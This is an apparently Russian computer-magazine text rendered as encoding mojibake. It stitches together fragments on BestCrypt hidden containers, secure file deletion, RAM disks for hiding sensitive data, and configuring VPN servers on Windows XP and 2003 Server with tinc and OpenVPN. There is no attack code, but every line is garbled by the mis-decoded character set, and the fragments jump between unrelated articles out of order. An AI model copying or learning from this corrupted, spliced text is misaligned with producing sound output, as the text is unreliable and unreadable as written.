íà êîòîðîì îí áóäåò ðàñïîëàãàòüñÿ, è â êîíòåêñòíîì ìåíþ âûáðàòü
ïóíêò New container. Ïîÿâèâøååñÿ îêíî áóäåò ñîäåðæàòü íåñêîëüêî
íàñòðîåê: Filename (èìÿ ôàéëà-êîíòåéíåðà), Location (ìåñòî åãî
ðàñïîëîæåíèÿ), Size (ðàçìåð), Algorithm (àëãîðèòì øèôðîâàíèÿ),
Key generator (àëãîðèòì ñîçäàíèÿ êëþ÷à). Âûáîð àëãîðèòìîâ øèô-
ðîâàíèÿ è ñîçäàíèÿ êëþ÷à � äåëî ñóãóáî èíäèâèäóàëüíîå. Åñëè òû
ìàëî ïðåäñòàâëÿåøü ñóòü êàæäîãî èç íèõ, îñòàâëÿé ïàðàìåòðû ïî
óìîë÷àíèþ è æìè êíîïêó Create. Äàëåå ïðîãðàììà çàéìåòñÿ ñîçäà-
íèåì ïñåâäîñëó÷àéíîé êîìáèíàöèè ñèìâîëîâ, íåîáõîäèìîé äëÿ
êîäèðîâàíèÿ èíôîðìàöèè, è òû åé äîëæåí â ýòîì äåëå ïîìî÷ü (íå
áóäåì ïîäðîáíî îïèñûâàòü ýòîò ïðîöåññ :)). 
Èòàê, íà òàêîé êîíòåéíåð, áåçóñëîâíî, ìîæíî ïîëîæèòüñÿ, íî
âñå-òàêè ýòî íå  ñîâñåì òî. Îòêðûâ ïàíåëü óïðàâëåíèÿ ïðîãðàì-
ìû, ïîñòîðîííèå ëåãêî ìîãóò óçíàòü îá åãî ñóùåñòâîâàíèè, ïîñ-
ëå ÷åãî ïîïûòàòüñÿ ïîäîáðàòü èëè äàæå âûâåäàòü ó òåáÿ ïà-
ðîëü. Ïî ýòîé ïðè÷èíå âíóòðè êîíòåéíåðà ðåêîìåíäóåòñÿ ñîçäà-
âàòü òàê íàçûâàåìóþ ñêðûòóþ îáëàñòü, â êîòîðóþ òû ìîæåøü
ïîìåñòèòü ñàìóþ âàæíóþ èíôîðìàöèè è ïðè ýòîì áûòü ïîë-
íîñòüþ óâåðåííûì çà åå ñîõðàííîñòü. Äàæå åñëè êòî-òî óçíàåò
ïàðîëü îò òâîåãî çàøèôðîâàííîãî äèñêà, îí ïî ïîëíîé ïðîëå-
òèò ñ ñîäåðæèìûì ñêðûòîé îáëàñòè. 
Ñîçäàòü ñêðûòóþ îáëàñòü íåñëîæíî, íî íàäî ó÷èòûâàòü íåñêîëü-
êî ìîìåíòîâ. Åñëè òû óæå ïðèìîíòèðîâàë çàøèôðîâàííûé ðàç-
äåë, íóæíî åãî îòêëþ÷èòü (ôóíêöèÿ Dismount All BestCrypt
Drives). Èíà÷å òû ïðîñòî íå ñìîæåøü âîéòè â îêíî ñâîéñòâ
(Change container properties) êîíòåéíåðà, ãäå è ïðîèçâîäÿòñÿ âñå
íåîáõîäèìûå äåéñòâèÿ. Â ýòîì îêíå íàñ èíòåðåñóåò òîëüêî îäíà
îïöèÿ � Create Hidden Part. Ñìåëî àêòèâèðóé åå è æìè ÎÊ � ïî-
ÿâèòñÿ íîâîå îêíî ñ ïðåäóïðåæäåíèåì î âîçìîæíûõ ïîñëåä-
ñòâèÿõ ñîçäàíèÿ ñêðûòîé îáëàñòè. Ñîäåðæèìîå äëèííîãî òåêñòà
ìîæåøü íå ÷èòàòü � ïðîñòî ñîãëàøàéñÿ. Äàëåå îñòàåòñÿ ëèøü
îáîçíà÷èòü îáúåì ñêðûòîé îáëàñòè, à òàêæå óêàçàòü ïàðîëü,
ïîñëå ÷åãî ìîæíî ïðèñòóïàòü ê åå ôîðìàòèðîâàíèþ.
Òåïåðü î òîì, êàê ýòà ñèñòåìà ðàáîòàåò. Åñëè òåáå íåîáõîäèìî
ïðèìîíòèðîâàòü îáû÷íûé çàøèôðîâàííûé êîíòåéíåð (åãî èìÿ
îòîáðàæàåòñÿ â ïàíåëè óïðàâëåíèÿ BestCrypt), ââîäè ñâîé ïåð-
âûé ïàðîëü, à åñëè ñêðûòóþ ÷àñòü (îá åå ñóùåñòâîâàíèè çíà-
åøü òû è òîëüêî òû!) � âòîðîé. Åñòü åùå îäèí âàæíûé íþàíñ:
ðàáîòàòü ñ ôàéëàìè â èçíà÷àëüíîì êîíòåéíåðå ìîæíî èñêëþ-
÷èòåëüíî äî (!) ñîçäàíèÿ ñêðûòîé ÷àñòè. Êàê òîëüêî òû åå ñîç-
äàøü, ëþáîå êîïèðîâàíèå/óäàëåíèå/ïåðåìåùåíèå äàííûõ â èç-
íà÷àëüíîì êîíòåéíåðå ìîæåò ïðèâåñòè ê ïîòåðå èíôîðìàöèè â
ñêðûòîé ÷àñòè. Ýòî ïðîèñõîäèò ïîòîìó, ÷òî ñàì BestCrypt íå ïî-
äîçðåâàåò î ñóùåñòâîâàíèè è ðàñïîëîæåíèè âíóòðè êîíòåéíåðà
ñêðûòîé ÷àñòè äî òåõ ïîð, ïîêà ïîëüçîâàòåëü íå ââåäåò ñîîòâå-
òñòâóþùèé ïàðîëü. Ïîëó÷àåòñÿ, ÷òî ôàéëû â èçíà÷àëüíîì êîí-
òåéíåðå íóæíû èñêëþ÷èòåëüíî äëÿ ìàñêèðîâêè, è öåííîñòè
îáû÷íî íå ïðåäñòàâëÿþò.
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[áåçîïàñíîå óäàëåíèå äàííûõ]
Íå áóäó â ñîòûé ðàç îáúÿñíÿòü, ÷òî
ïðîñòîãî óäàëåíèÿ ôàéëîâ äëÿ ïîë-
íîãî èõ óíè÷òîæåíèÿ íåäîñòàòî÷íî.
Èõ âîññòàíîâëåíèå â ýòîì ñëó÷àå

íå çàéìåò ìíîãî âðåìåíè. Çíà÷èòåëüíî óñëîæ-
íèòü çàäà÷ó è äàæå ñâåñòè åãî øàíñû ê ìèíèìóìó
ïîìîãóò ñïåöèàëüíûå ïðîãðàììû. Ëó÷øåé â ýòîé
îáëàñòè  ÿâëÿåòñÿ Acronis Privacy Expert. Ïî ñóòè,
ýòî ìîùíûé êîìïëåêñ óòèëèò, îäíà èç êîòîðûõ
îáåñïå÷èâàåò íàäåæíîå óäàëåíèå äàííûõ ñ
êîìïüþòåðà íà îñíîâå àëãîðèòìîâ, óäîâëåòâîðÿ-
þùèõ ñàìûì æåñòêèì ñòàíäàðòàì, â òîì ÷èñëå
è ðîññèéñêîìó ÃÎÑÒ P50739-95 

[RAM-äèñê � ñðåäñòâî äëÿ
îñîáûõ ñëó÷àåâ] Äëÿ îñîáûõ
ñëó÷àåâ âìåñòî øèôðîâàíèÿ äàí-
íûõ ìîæíî èñïîëüçîâàòü ýêçîòè-

÷åñêèé âàðèàíò ñîêðûòèÿ äàííûõ � RAM-äèñê.
Ñóùåñòâóåò íåìàëî ïðîãðàìì êàê ïîä ëèíóêñ, òàê
è Windows, êîòîðûå ïîçâîëÿþò îðãàíèçîâàòü âèð-
òóàëüíûé ëîêàëüíûé äèñê, äàííûå êîòîðîãî ôè-
çè÷åñêè áóäóò íàõîäèòüñÿ â îïåðàòèâíîé ïàìÿòè.
Ïðèîðèòåòíîé çàäà÷åé òàêèõ ïðîãðàìì, ñî ñëîâ
ðàçðàáîò÷èêîâ, ÿâëÿåòñÿ ìíîãîêðàòíîå óâåëè÷å-
íèå ñêîðîñòè ÷òåíèÿ/çàïèñè. Îíî è ïîíÿòíî: ëþ-
áàÿ, äàæå ñàìàÿ ìåäëåííàÿ îïåðàòèâêà ðàáîòàåò
ãîðàçäî áûñòðåå, ÷åì SCSI-âèíò. Âïðî÷åì, íàñ òà-
êàÿ îïòèìèçàöèÿ èíòåðåñóåò ìàëî: ãîðàçäî áîëåå
ïðèâëåêàòåëüíîé êàæåòñÿ äðóãàÿ îñîáåííîñòü ïî-
äîáíûõ äèñêîâ. Äåëî â òîì, ÷òî ñðàçó ïîñëå ïåðå-
çàãðóçêè êîìïüþòåðà âñå äàííûå èç îïåðàòèâêè
ñòèðàþòñÿ è âîññòàíîâèòü èõ áåç ñïåöèàëüíîãî
îáîðóäîâàíèÿ ïðàêòè÷åñêè íåâîçìîæíî. Äà è êòî
óçíàåò îá èõ ñóùåñòâîâàíèè? Ïî-ìîåìó, ýòî ìîæ-
íî âïîëíå óñïåøíî èñïîëüçîâàòü!
Îïåðàòèâêà � ýòî èäåàëüíûé êîíòåéíåð äëÿ âðå-
ìåííîãî õðàíåíèÿ îñîáî êîìïðîìåòèðóþùèõ äàí-
íûõ. ×óòü ÷òî � áûñòðî â ðåáóò, è îò ôàéëîâ íè-
÷åãî íå îñòàëîñü. Îðãàíèçîâàòü òàêîé äèñê ñîâ-
ñåì íåñëîæíî, îñîáåííî åñëè ïîä ðóêîé åñòü
ïðîãðàììà RAMDiskXP (www.cenatek.com). Íóæíî
ëèøü çàäàòü ðàçìåð RAM-äèñêà, òî åñòü êîëè÷å-
ñòâî âûäåëÿåìîé åìó îïåðàòèâíîé ïàìÿòè, è íà-
æàòü íà êíîïêó Start RAMDisk. Íîâûé ëîãè÷åñêèé
äèñê òóò æå ïîÿâèòñÿ â ñèñòåìå.
Êîíå÷íî, ýòà òóëçà èìååò åùå íåñêîëüêî íàñòðî-
åê, íî äëÿ íàñ îíè ìàëî èíòåðåñíû. Åäèíñòâåííîå
îòìå÷ó, ÷òî âñå äàííûå ñ òàêîãî äèñêà ìîãóò áûòü
ìãíîâåííî ñêîïèðîâàíû â ñïåöèàëüíûé ôàéë îá-
ðàç (*.IMG), à ïðè çàïóñêå ñèñòåìû � çàãðóæåíû
íà RAM-äèñê. 
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âåòñòâóþùèé âîïðîñ. Ñìåëî îòâå÷àé «Ðàçðåøèòü âèðòóàëüíûå ÷àñòíûå ñåòè».

6 Ñëåäóþùèé øàã � ïàðàìåòðû àâòîðèçàöèè ïîëüçîâàòåëåé. Ñàìî ñî-
áîé ðàçóìååòñÿ, ÷òî ïîäêëþ÷èòüñÿ ê VPN-ñåðâåðó ìîæåò íå êàæäûé. Äëÿ
óñòàíîâêè ñîåäèíåíèÿ êëèåíò â îáÿçàòåëüíîì ïîðÿäêå äîëæåí ïðîéòè
ïðîöåäóðó àâòîðèçàöèè. Ñîáñòâåííî, ñåé÷àñ ìàñòåð ïðåäëàãàåò âûá-
ðàòü òåõ ïîëüçîâàòåëåé, êîòîðûì ðàçðåøåí âõîä â âèðòóàëüíóþ ÷àñòíóþ
ñåòü. Ìîæíî âûáðàòü íåêîòîðûõ ëîêàëüíûõ þçåðîâ èëè æå äîáàâèòü íî-
âûõ. Â ïîñëåäíåì ñëó÷àå íàæìè íà êíîïêó «Äîáàâèòü» � ìàñòåð ñðàçó
ïîòðåáóåò ââåñòè èìÿ íîâîãî ïîëüçîâàòåëÿ è ïàðîëü.

7 Íàñòðîéêà ñåòåâûõ ïðîòîêîëîâ è â îñîáåííîñòè TCP/IP íå ìåíåå âàæíà.
Âûáåðè ñîîòâåòñòâóþùèé ïóíêò â ñïèñêå ïðîòîêîëîâ è íàæìè íà êíîïêó
«Ñâîéñòâà». Äëÿ òîãî ÷òîáû ïîëüçîâàòåëü ìîã ïîëó÷èòü äîñòóï ê òâîåé ñåòè,
íåîáõîäèìî àêòèâèðîâàòü îïöèþ «Ðàçðåøèòü çâîíÿùèì äîñòóï ê ëîêàëüíîé
ñåòè». Äàëåå òðåáóåòñÿ îáîçíà÷èòü äèàïàçîí IP-àäðåñîâ, êîòîðûå ñìîãóò èñ-
ïîëüçîâàòü ïîäêëþ÷èâøèåñÿ êëèåíòû. Âîçìîæåí òàêæå âàðèàíò, êîãäà þçå-
ðó IP-àäðåñ áóäåò âûäàâàòüñÿ àâòîìàòè÷åñêè ïîñðåäñòâîì ñëóæáû DHCP.

8 Âñå, íàñòðîéêà íà ýòîì çàâåðøåíà. Ìîæåøü ïîïðîñèòü êîãî-íèáóäü
èç äðóçåé ïîäêëþ÷èòüñÿ ê òâîåìó íîâîèñïå÷åííîìó ñåðâåðó. Íàñòðîéêà
êëèåíòñêîãî ïîäêëþ÷åíèÿ ìàëî ÷åì îòëè÷àåòñÿ îò ñîçäàíèÿ Dial-up ñîå-
äèíåíèÿ, ïîýòîìó ìû åå ðàññìàòðèâàòü íå áóäåì. Ñëèøêîì ïðîñòî.

[à êàê æå windows server?] Íàñòðîéêó VPN â Windows XP óðåçàëè ïî
ñàìîå íå áàëóé. Ñ îäíîé ñòîðîíû, ýòî õîðîøî è ïîçâîëÿåò ðàçîáðàòüñÿ â
óñòàíîâêå äàæå íîâè÷êàì, íî ÷òî æå äåëàòü íàì, ãóðó? :) Îòâåò íà ýòîò
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[ñòàíäàðòíûå ñðåäñòâà] Èñïîëüçîâàòü
âèíäó óäîáíåå õîòÿ áû ïîòîìó, ÷òî âñå íåîáõî-
äèìûå ñðåäñòâà âêëþ÷åíû â íåå ïî óìîë÷à-
íèþ. Ýòî çíà÷èò, ÷òî òåáå íå ïðèäåòñÿ çàêà÷è-
âàòü èç Ñåòè è óñòàíàâëèâàòü êàêèå-ëèáî äî-
ïîëíèòåëüíûå ïðîãðàììû. Äëÿ íàñòîéêè êàê
ñåðâåðíîé, òàê è êëèåíòêîé ÷àñòè äîñòàòî÷íî
èñïîëüçîâàòü ñòàíäàðòíûå êîìïîíåíòû ñèñòå-
ìû. Âåñü ïðîöåññ íàñòðîéêè òðàäèöèîííî îñó-
ùåñòâëÿåòñÿ ñ ïîìîùüþ GUI'øíûõ îáîëî÷åê, è
ýòî òàêæå íå ìîæåò íå ðàäîâàòü. Ó òåáÿ åùå
áóäåò âîçìîæíîñòü èçðÿäíî ïîêîïàòüñÿ â òåêñ-
òîâûõ êîíôèãàõ OpenVPN (ðå÷ü î íåì ïîéäåò
íèæå), ïîýòîìó òû íàâåðíÿêà îöåíèøü çàáîò-
ëèâîñòü ðàçðàáîò÷èêîâ Windows :).
Âîçìîæíî, ÿ òåáÿ óäèâëþ, íî âñå âûøåñêàçàí-
íîå îòíîñèòñÿ íå òîëüêî ê ñåðâåðíûì âàðèàöè-
ÿì âèíäû (Windows 2000/2003 Server). Íåâåðî-
ÿòíî, íî VPN-ñåðâåð ìîæíî ïîäíÿòü äàæå íà
ïëàòôîðìå Windows XP Professional. Âåñü ïðî-
öåññ âðÿä ëè çàéìåò ó òåáÿ áîëüøå 2-õ ìèíóò :).
Ïðîâåðü ýòî ñàì: 

1 Ïåðâûì äåëîì ïåðåõîäè â «Ïàíåëü óïðàâëå-
íèÿ -> Ñåòåâûå ïîäêëþ÷åíèÿ -> Ñîçäàíèå íîâî-
ãî ïîäêëþ÷åíèÿ».

2 Ìàñòåð íîâûõ ïîäêëþ÷åíèé äîëæåí áûòü òå-
áå õîðîøî çíàêîì. Â ÿâíîì âèäå î íàñòðîéêå
VPN-ñîåäèíåíèÿ çäåñü íèãäå íå óïîìèíàåòñÿ,
íî çàòî åñòü ïóíêò «Ïðÿìîå ïîäêëþ÷åíèå ê äðó-
ãîìó êîìïüþòåðó». Âîò åãî è âûáèðàé.

3 Íà ñëåäóþùåì ýòàïå èç äâóõ ïðåäëîæåííûõ
âàðèàíòîâ âûáèðàé îïöèþ «Ïðèíèìàòü âõîäÿ-
ùèå ïîäêëþ÷åíèÿ». Ýòî ëîãè÷íî, òàê êàê ìû
íàñòðàèâàåì ñåðâåð.

4 Äàëåå ìàñòåð ïðåäëîæèò óêàçàòü òå óñòðîé-
ñòâà, ñ ïîìîùüþ êîòîðûõ ïëàíèðóåòñÿ ïðèíè-
ìàòü âõîäÿùèå ïîäêëþ÷åíèÿ. Â ñïèñêå áóäóò
ïðåäñòàâëåíû óñòàíîâëåííûå â ñèñòåìå ìîäå-
ìû, Bluetooth-àäàïòåðû è ïîäîáíûå äåâàéñû.
Îäíàêî âñå îíè íàñ ñåé÷àñ ìàëî èíòåðåñóþò,
ïîýòîìó ñíèìàé âñå îïöèè, ñàìîâîëüíî óñòà-
íîâëåííûå ìàñòåðîì, è æìè «Äàëåå».

5Íàêîíåö-òî! Ìàñòåð äîãàäûâàåòñÿ, ÷òî íàñ, âîçìîæ-
íî, èíòåðåñóåò íàñòðîéêà VPN, è ïîýòîìó çàäàåò ñîîò-

ÒÛ ÈÙÅØÜ ÏËÀÒÔÎÐÌÓ, ×ÒÎÁÛ ÏÎÄÍßÒÜ
ÑÎÁÑÒÂÅÍÍÛÉ VPN-ÑÅÐÂÅÐ? È Ñ×ÈÒÀÅØÜ,
×ÒÎ ÂÈÍÄÀ � ÝÒÎ ÍÅ ÑÀÌÛÉ ÏÎÄÕÎÄßÙÈÉ
ÂÀÐÈÀÍÒ? ÎØÈÁÀÅØÜÑß! ÑÊÀÆÓ ÒÅÁÅ ÏÎ
ÁÎËÜØÎÌÓ ÑÅÊÐÅÒÓ: Ñ ÝÒÎÉ ÇÀÄÀ×ÅÉ
WINDOWS ÑÏÐÀÂÈÒÑß ÍÅ ÕÓÆÅ, ×ÅÌ LINUX 
È FREEBSD | GreK (grek07@deadmail.ru)

Ñåêðåòíûé êêàíàë

Åñëè òû çàõî÷åøü îòêîì-
ïèëèðîâàòü tinc èëè
OpenVPN ñàìîñòîÿòåëüíî,
òåáå ïîòðåáóþòñÿ, óñòàíîâ-
ëåííûå íà êîìïüþòåðå,
Cygwin (www.cygwin.com)
èëè MiniGW (www.mini.org).
Îäíàêî ÿ âñå æå ðåêîìåí-
äóþ èñïîëüçîâàòü ãîòîâûå
áèíàðíèêè.

Ïîäíèìàåì
VPN/OpenVPN 
ïîä âèíäîé

www.webopedia.com/TERM/V
/VPN.html � ÷òî òàêîå VPN?
www.xakep.ru/magazine/xa/
069/068/1.asp � ïîäðîáíî
î òåõíîëîãèè VPN.
www.rsdn.ru/article/crypto/c
ryptoapi.xml � õîðîøèé
ìàòåðèàë, ðàññêàçûâàþ-
ùèé î RSA-àëãîðèòìàõ.



âîïðîñ òàê æå ïðîñò, êàê è î÷åâèäåí: âìåñòî ïðåñëîâóòîé XP, êîòîðàÿ åä-
âà ëè ïîäõîäèò äëÿ ïîäîáíûõ ýêñïåðèìåíòîâ, èñïîëüçîâàòü ìîùíóþ ñèñ-
òåìó â ëèöå Windows 2003 Server. Íàñòðîèòü ñåðâåðíóþ îñü íåñêîëüêî
ñëîæíåå, íî ýòîò ïîäðîáíûé ìàíóàë èçáàâèò òåáÿ îò ëèøíèõ âîïðîñîâ:

1 Äëÿ íà÷àëà ÷åðåç ìåíþ «Ïóñê» îòêðîé îêíî «Àäìèíèñòðèðîâàíèå» è
äàëåå «Ìàðøðóòèçàöèÿ è óäàëåííûé äîñòóï».

2 Â êîíñîëè óïðàâëåíèÿ âûáåðè ëîêàëüíûé ñåðâåð è âíèìàòåëüíî
ñìîòðè íà íèæíþþ ëåâóþ ÷àñòü îêíà. Åñëè óâèäèøü êðàñíûé èíäèêàòîð,
çíà÷èò, íåîáõîäèìàÿ íàì ñëóæáà íå ïîäêëþ÷åíà. Õîðîøî áû ýòî èñïðà-
âèòü: äëÿ ýòîãî íàæìè ïðàâîé êíîïêîé ïî èìåíè ñåðâåðà è âûáåðè â ìå-
íþ «Íàñòðîèòü è âêëþ÷èòü ìàðøðóòèçàöèþ è óäàëåííûé äîñòóï».

3 Äàëåå ùåëêíè ïî èêîíêå «Óäàëåííûé äîñòóï (VPN èëè ìîäåì)», è
ñïåöèàëüíûé ìàñòåð ñïðîñèò òåáÿ, êàêèå ïîäêëþ÷åíèÿ ìîæíî ïðèíè-
ìàòü. Íàñ ñåé÷àñ èíòåðåñóåò èñêëþ÷èòåëüíî VPN � åãî è îòìå÷àåì.

4Ïîÿâèâøååñÿ îêíî «VPN-ïîäêëþ÷åíèå» ïðåäëàãàåò îáîçíà÷èòü íåêîòîðûå
ïàðàìåòðû áóäóùèõ ïîäêëþ÷åíèé. Âûáåðè òî ïîäêëþ÷åíèå, êîòîðîå îòíîñèò-
ñÿ ê òâîåé ëîêàëüíîé ñåòè èëè æå Èíòåðíåòó (â çàâèñèìîñòè îò ïëàíèðóåìîé
ñòðóêòóðû è íàçíà÷åíèÿ VPN-ñîåäèíåíèÿ), à çàòåì íàæìè êíîïêó «Äàëåå».

5 Â îêíå «Íàçíà÷åíèå IP-àäðåñà» ìàñòåð ïðåäëàãàåò çàäàòü íàñòðîéêè IP-
àäðåñîâ, êîòîðûå áóäóò ïðèñâàèâàòüñÿ êëèåíòàì ïðè ïîäêëþ÷åíèè. Åñëè íà
ìàøèíå óñòàíîâëåí DHCP-ñåðâåð (÷òî äîâîëüíî âåðîÿòíî), âûáåðè ïóíêò
«Àâòîìàòè÷åñêè» è æìè «Äàëåå». Åñëè õî÷åøü çàäàòü äèàïàçîí âûäàâàåìûõ
IP-àäðåñîâ âðó÷íóþ, ââåäè èíòåðåñóþùèå òåáÿ çíà÷åíèÿ â ïîëÿ «Íà÷àëüíûé

IP-àäðåñ» è «Êîíå÷íûé
IP-àäðåñ». Ïðîñëåäè,
÷òîáû ýòè IP-àäðåñà áû-
ëè èç òîé æå ïîäñåòè,
÷òî è òâîé êîìïüþòåð. Â
ïðîòèâíîì ñëó÷àå ïðè-
äåòñÿ ïðîïèñûâàòü äî-
ïîëíèòåëüíûå ïðàâèëà
ìàðøðóòèçàöèè, ÷òîáû
âñå êëèåíòû áûëè äîñ-
òèãàåìû.

6 Íà ñëåäóþùåì
ýòàïå ðåêîìåíäóþ òåáå
ïðèíÿòü ïàðàìåòð ïî
óìîë÷àíèþ «Íåò, èñ-
ïîëüçîâàòü ìàðøðóòè-
çàöèþ è óäàëåííûé
äîñòóï äëÿ ïðîâåðêè
ïîäëèííîñòè çàïðîñîâ íà ïîäêëþ÷åíèå». Â ïîñëåäíèé ðàç æìè êíîïêó «Äà-
ëåå», çàòåì «Ãîòîâî» � íà ýòîì ïðåäâàðèòåëüíàÿ ïîäãîòîâêà çàâåðøåíà.

Ïî áîëüøîìó ñ÷åòó, VPN-ñåðâåð ãîòîâ ê ðàáîòå, îäíàêî ïîäêëþ÷åíèÿ ê
íåìó ïîêà åùå çàïðåùåíû. Ðàçðåøèòü óäàëåííûå ïîäêëþ÷åíèÿ ïîìî-
æåò îïÿòü æå ñèñòåìíûé àïïëåò «Ìàðøðóòèçàöèÿ è óäàëåííûé äîñòóï»:

ÍÅÄÎÑÒÀÒÊÈ ÐÐÅÀËÈÇÀÖÈÈ 
VPN ÂÂ WWINDOWS
Ïðè âñåé ïðîñòîòå íàñòðîåê, ðåàëè-
çàöèÿ VPN â Windows èìååò íåêîòî-
ðûå íåäîñòàòêè. Ñåé÷àñ òû ïîéìåøü,
÷òî ÿ èìåþ â âèäó � äëÿ ýòîãî îáðà-
òèìñÿ ê âíóòðåííîñòÿì VPN-ñîåäèíå-
íèÿ. Ïîñëå òîãî êàê ïîëüçîâàòåëü
èíèöèèðîâàë VPN-ïîäêëþ÷åíèå,
ìåæäó íèì è ñåðâåðîì îðãàíèçóåòñÿ
ñïåöèàëüíûé òóííåëü, ïî êîòîðîìó
íà÷èíàåò îñóùåñòâëÿòüñÿ ïåðåäà÷à
äàííûõ: òåõíè÷åñêàÿ èíôîðìàöèÿ,
êàñàþùàÿñÿ ïðîöåññà èäåíòèôèêà-
öèè, à òàêæå èíêàïñóëèðîâàííûé IP,
IPX, NetBEUI-òðàôèê â çàøèôðîâàí-
íîì âèäå. Èíêàïñóëÿöèÿ òðàôèêà
îñóùåñòâëÿåòñÿ ñ ïîìîùüþ GRE-
ïðîòîêîëà (Generic Routing
Encapsulation), êîòîðûé, ïî ñóòè, è ÿâ-
ëÿåòñÿ ñëàáûì óçëîì ñèñòåìû. Ïðîá-
ëåìà çàêëþ÷àåòñÿ â òîì, ÷òî íåêîòî-
ðûå ïðîâàéäåðû íå ïðîïóñêàþò GRE-
ïàêåòû è òåì ñàìûì ïîëíîñòüþ áëî-
êèðóþò èñïîëüçîâàíèå VPN. Îáîéòè
ýòî îãðàíè÷åíèå íåâîçìîæíî, ïîýòî-
ìó ïðèõîäèòñÿ îáðàùàòüñÿ ê àëüòåð-
íàòèâíûì ðåàëèçàöèÿì VPN, èñïîëü-
çóþùèì ñâîþ ñîáñòâåííóþ ñèñòåìó
èíêàïñóëÿöèè òðàôèêà.
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1 Äâàæäû êëèêíè ïî îáúåêòó ñåð-
âåðà è âûáåðè «Ïîëèòèêè óäàëåí-
íîãî äîñòóïà».

2 Òåïåðü íàéäè çíà÷îê «Ïîäêëþ÷åíèÿ ê ñåðâåðó ìàðøðóòèçàöèè è
óäàëåííîãî äîñòóïà», ùåëêíè ïî íåìó ïðàâîé êíîïêîé ìûøè è ïåðåé-
äè â ìåíþ «Ñâîéñòâà».

3Ìû äîáðàëèñü äî èíòåðåñóþùåé íàñ îïöèè � «Ïðåäîñòàâèòü ðàçðåøåíèå
íà óäàëåííûé äîñòóï». Àêòèâèðóé åå è íàæìè «ÎÊ». Íàñòðîéêà çàâåðøåíà.
Òåïåðü VPN-ñåðâåð ìîæåò ïðèíèìàòü âõîäÿùèå ïîäêëþ÷åíèÿ, íî ïîêà
íåïîíÿòíî, êàêèå è îò êîãî. Îñòàëîñü ñàìàÿ ìàëîñòü � óêàçàòü ñèñòåìå
àâòîðèçèðîâàííûõ äëÿ ïîäêëþ÷åíèÿ ïîëüçîâàòåëåé, ÷òî îñóùåñòâëÿåò-
ñÿ ÷åðåç ñëóæáó êàòàëîãîâ (Active Directory). Åñëè îíà íå óñòàíîâëåíà
èëè íå íàñòðîåíà, ìîãó òîëüêî ïîñî÷óâñòâîâàòü è ïîñîâåòîâàòü ïðî÷è-
òàòü ñòàòüþ «Îñåäëàé Windows 2003» â #77 íîìåðå Õ. Åñëè æå ñ AD âñå
ÎÊ, òî ïîðÿäîê äåéñòâèé áóäåò ñëåäóþùèì:

1 Ïåðåéäè «Ïóñê ! Àäìèíèñòðèðîâàíèå ! Active Directory � ïîëüçîâà-
òåëè è êîìïüþòåðû»

2 Òåïåðü ñîçäàé íîâóþ èëè íàéäè èíòåðåñóþùóþ òåáÿ ó÷åòíóþ çàïèñü
è îòêðîé åå ñâîéñòâà.

3 Â çàêëàäêå «Âõîäÿùèå ñîåäèíåíèÿ» åñòü ïóíêò «Ðàçðåøèòü äîñòóï».
Åãî è íóæíî àêòèâèðîâàòü.
Â ñèñòåìå åñòü åùå íåìàëî íàñòðîåê, îòíîñÿùèõñÿ ê VPN-ñîåäèíåíèÿì.
Âñå îíè íóæíû äëÿ òîãî, ÷òîáû àäìèíèñòðàòîð ìîã äî ìåëü÷àéøèõ äåòà-
ëåé îòêîíôèãóðèðîâàòü âèðòóàëüíóþ ÷àñòíóþ ñåòü è ñäåëàòü åå òàêîé,
êàêîé áû õîòåë åå âèäåòü. Äåðçàé!

[÷òî åñòü tinc?] Ñïèñîê Other VPN solutions (www.tinc-vpn.org/vpnlinks)
íàñ÷èòûâàåò ïîðÿäêà 15 ïîäîáíûõ ðåàëèçàöèé. Îñîáîå óâàæåíèå è íà-
èáîëüøóþ ïîïóëÿðíîñòü çàâîåâàëè äâå èç íèõ: tinc (www.tinc-vpn.org) è
OpenVPN (www.openvpn.net). Èõ-òî ìû ñåãîäíÿ è ðàññìîòðèì.
Êîãäà ñìîòðèøü íà ñìåõîòâîðíûõ ðàçìåð äèñòðèáóòèâà tinc (âñåãî
697 Êá) äàæå ïðåäñòàâèòü ñåáå íå ìîæåøü, ÷òî ðàçðàáîò÷èêè óìóä-
ðèëèñü óìåñòèòü â íåì ïîëíîöåííîå ñðåäñòâî äëÿ îðãàíèçàöèè VPN-
ñîåäèíåíèé. Ïðèëîæåíèå ïîääåðæèâàåò âñå íåîáõîäèìûå àòðèáóòû,

ïðèñóùèå âèðòóàëüíûì ÷àñòíûì
ñåòÿì, è äàæå áîëüøå! Ñóäè ñàì:
òóííåëèðîâàíèå òðàôèêà, íåïðå-
ðûâíîå øèôðîâàíèå ïåðåäàâàå-
ìûõ äàííûõ è äàæå êîìïðåññèþ
«íà ëåòó». Ïðèìå÷àòåëüíî, ÷òî
âîçìîæíîñòè tinc íå îãðàíè÷èâà-
þòñÿ ïîäêëþ÷åíèÿìè òî÷êà-òî÷-
êà. Âèðòóàëüíàÿ ñåòü ìîæåò áûòü
ñîñòàâëåíà èç íåñêîëüêèõ êëèåí-
òîâ è, ÷òî îñîáåííî ïðèÿòíî, tinc
ñàìîñòîÿòåëüíî áóäåò ðåøàòü
âñå çàäà÷è, êàñàþùèåñÿ ìàðø-
ðóòèçàöèè. Áóäü óâåðåí: äàííûå

âíóòðè VPN-ñåòè âñåãäà ïîéäóò ïî ñàìîìó îïòèìàëüíîìó ïóòè è, åñ-
ëè ýòî âîçìîæíî, íàïðÿìóþ â òî÷êó íàçíà÷åíèÿ. Äóìàþ, äàæå ýòîãî
äîñòàòî÷íî, ÷òîáû òåáÿ çàèíòðèãîâàòü, ïîýòîìó ïðåäëàãàþ ïåðåéòè
ê ïðàêòè÷åñêîé ÷àñòè. 

[íàñòðàèâàåì äåìîí tinc] Óñòàíîâèòü tinc ïîä Linux íåñëîæíî. Íà-
ëàäèòü åãî ðàáîòó ïîä Windows � åùå ïðîùå. Åñëè ãîâîðèòü î Windows-
ñèñòåìàõ, òî âñå íåîáõîäèìûå ïðèãîòîâëåíèÿ ñâîäÿòñÿ ê óñòàíîâêå
äðàéâåðà äëÿ âèðòóàëüíîãî ñåòåâîãî óñòðîéñòâà. Tinc èñïîëüçóåò äðàé-
âåð TAP-Win32, êîòîðûé ïî óìîë÷àíèþ âêëþ÷åí â äèñòðèáóòèâ ïðîãðàì-
ìû, íî ïðè íåîáõîäèìîñòè ìîæåò áûòü çàêà÷åí ñ ñàéòà OpenVPN
(www.openvpn.net). Ïîñëå çàâåðøåíèÿ óñòàíîâêè ïðîãðàììû ïåðåéäè â
ïàïêó C:\Program Files\tinc\tap-win32. Çäåñü íàõîäèòñÿ ôàéë addtap.bat.
